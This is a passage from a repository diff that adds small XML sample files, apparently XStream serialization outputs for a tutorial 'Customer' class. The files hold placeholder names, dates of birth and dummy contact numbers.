<firstName>XStream</firstName>
<lastName>Java</lastName>
<dob>1986-02-14 04:14:05.874 UTC</dob>
<contactDetailsList>
<ContactDetails contactType="Home">
<mobile>6673543265</mobile>
<landline>0124-2460311</landline>
</ContactDetails>
<ContactDetails contactType="Office">
<mobile>4676543565</mobile>
<landline>0120-223312</landline>
</ContactDetails>
</contactDetailsList>
</customer>
@@ -0,0 +1,5 @@
<customer>
<fn>XStream</fn>
<lastName>Java</lastName>
<dob>1986-02-14 03:46:16.381 UTC</dob>
</customer>
@@ -0,0 +1,13 @@
<customer>
<firstName>XStream</firstName>
<lastName>Java</lastName>
<dob>1986-02-14 04:14:20.541 UTC</dob>
<ContactDetails contactType="Home">
<mobile>6673543265</mobile>
<landline>0124-2460311</landline>
</ContactDetails>
<ContactDetails contactType="Office">
<mobile>4676543565</mobile>
<landline>0120-223312</landline>
</ContactDetails>
</customer>
@@ -0,0 +1,5 @@
<customer>
<firstName>XStream</firstName>
<lastName>Java</lastName>
<dob>1986-02-14 03:46:16.381 UTC</dob>
</customer>
@@ -0,0 +1,6 @@
<customer>
<firstName>XStream</firstName>
<lastName>Java</lastName>
<dob>1986-02-14 04:14:20.541 UTC</dob>
<fullName>XStream Java</fullName>
</customer>
+5
View File
@@ -0,0 +1,5 @@
<com.baeldung.pojo.Customer>
<firstName>XStream</firstName>
<lastName>Java</lastName>
<dob>1986-02-14 03:46:16.381 UTC</dob>
</com.baeldung.pojo.Customer>